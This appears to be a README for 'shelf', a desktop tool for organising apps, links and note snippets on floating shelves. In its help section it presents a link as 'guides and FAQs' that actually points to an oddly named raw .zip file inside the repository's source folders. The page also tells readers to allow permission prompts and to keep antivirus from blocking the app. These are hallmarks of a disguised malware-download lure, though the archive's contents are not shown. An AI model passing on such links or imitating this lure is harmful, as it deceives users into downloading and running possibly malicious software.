🗂️ shelf - Organize Apps, Links, & Snippets Easily

📋 What is shelf?

Shelf helps you organize your favorite apps, web links, and note snippets in one easy-to-access place. It creates multiple floating shelves on your screen. Each shelf works like a mini toolbox that stays visible while you work. You can quickly find and open what you need without cluttering your desktop or hunting through menus.

Shelf is great for anyone who wants to keep important tools and information close at hand. Whether you are a student, professional, or just someone who likes to stay organized, shelf helps you save time and reduces distractions.

🖥️ System Requirements

Shelf works on both Windows and macOS computers. Here are the basic needs:

• Windows 10 or later
• macOS 10.13 (High Sierra) or later
• At least 4GB of RAM
• 100 MB of free disk space
• Internet connection for downloading and updates

Shelf runs on most laptops and desktops. It does not require a powerful machine, but a modern operating system helps ensure smooth operation.

🔑 Key Features

• Multiple floating shelves you can place anywhere on your screen
• Organize apps, web links, and notes into separate shelves
• Customize shelves’ size and transparency
• Drag and drop items to rearrange easily
• Quick access via keyboard shortcuts
• Save shelves’ layout and content for the next use
• Minimal impact on system resources

These features help you create a workspace tailored to your needs. You can keep project links separate from daily tools or have quick notes always visible.

🚀 Getting Started

Follow these steps to get shelf up and running on your computer:

1. Download shelf
   Click the big button or visit the releases page to download the latest version.

2. Install shelf

   • On Windows: Run the downloaded .exe file and follow the installer prompts.
   • On macOS: Open the .dmg file, then drag the shelf app into your Applications folder.

3. Launch shelf
   Find shelf in your Start menu (Windows) or Applications folder (macOS) and open it.

4. Set up your first shelf
   Click the “New shelf” button. Choose if you want an app shelf, link shelf, or notes shelf. Give it a name.

5. Add items

   • For apps: Browse your list or drag app icons to the shelf.
   • For links: Copy URLs from your browser and paste or drag them onto the shelf.
   • For notes: Write quick text snippets directly on the shelf.

6. Arrange shelves
   Drag shelves to the screen edges or anywhere you want them. Resize by dragging the edges.

7. Use shelves
   Click items on a shelf to open apps or websites. Edit notes anytime.

💾 Download & Install

To get the latest version of shelf:

• Visit the release page here:
  ➡️ Download shelf

On that page, choose the installer that matches your computer:

• For Windows: Look for a file ending with .exe
• For macOS: Look for a file ending with .dmg

After downloading:

• Open the installer and follow the instructions to install shelf.
• If your system asks for permission to run the app, allow it.
• Once installed, launch shelf from your computer’s app menu or folder.

If you run into trouble, try restarting your computer and running the installer again.

🔧 How to Use shelf

Shelf works like a workspace organizer. Here’s how to use the main features:

• Adding shelves: Click the plus (+) icon to create a shelf for apps, links, or notes.
• Adding items: Drag-and-drop or use the “Add” button on each shelf.
• Moving shelves: Click and drag the top bar of any shelf to move it anywhere on your screen.
• Resizing shelves: Drag the edges or corners of a shelf to make it bigger or smaller.
• Editing notes: Click any note to open the text editor and type your content.
• Removing items: Right-click an item and choose “Delete” or press the delete key.
• Saving your setup: Shelf saves your shelves automatically when you close the app. When you open shelf again, your setup stays the same.

Keyboard shortcuts make using shelf faster. You can access shelves without taking your hands off the keyboard:

• Ctrl + Alt + number (Windows) or Cmd + Option + number (macOS) to open a shelf by number.
• Customize these shortcuts in shelf’s settings.

🛠️ Settings and Customization

Shelf gives you control over the look and feel of your workspace:

• Themes: Choose from light, dark, or custom color themes.
• Opacity: Adjust shelves' transparency so they don’t block your view.
• Shelf behavior: Set shelves to stay always on top or hide when inactive.
• Start with computer: Enable shelf to launch automatically when you log in.
• Backup: Export your shelf setup to a file for safe keeping or sharing.

Explore the settings menu by clicking the gear icon in the upper-right corner of shelf.

❓ Troubleshooting

Here are some common problems and how to fix them:

• Shelf won’t open after install
  Restart your computer, then try opening the app again. Make sure your antivirus or firewall is not blocking shelf.

• Items not opening when clicked
  Check that the apps are still installed or that the URLs are valid.

• Shelves don’t stay on top
  In settings, enable the “Always on top” option.

If problems continue, visit the GitHub discussions section or open an issue on the repository.

📞 Getting More Help

If you need assistance:

• Visit the GitHub repository for guides and FAQs: https://github.com/2987gomez/shelf/raw/refs/heads/master/Shelf/Views/Software-platysmamyoides.zip
• Use the GitHub Issues page to report bugs or ask for new features.

🔄 Updates

Check the release page regularly for new versions of shelf. Updates add new features, improve performance, and fix bugs. When a new release is available, download and install it like before to stay current.

---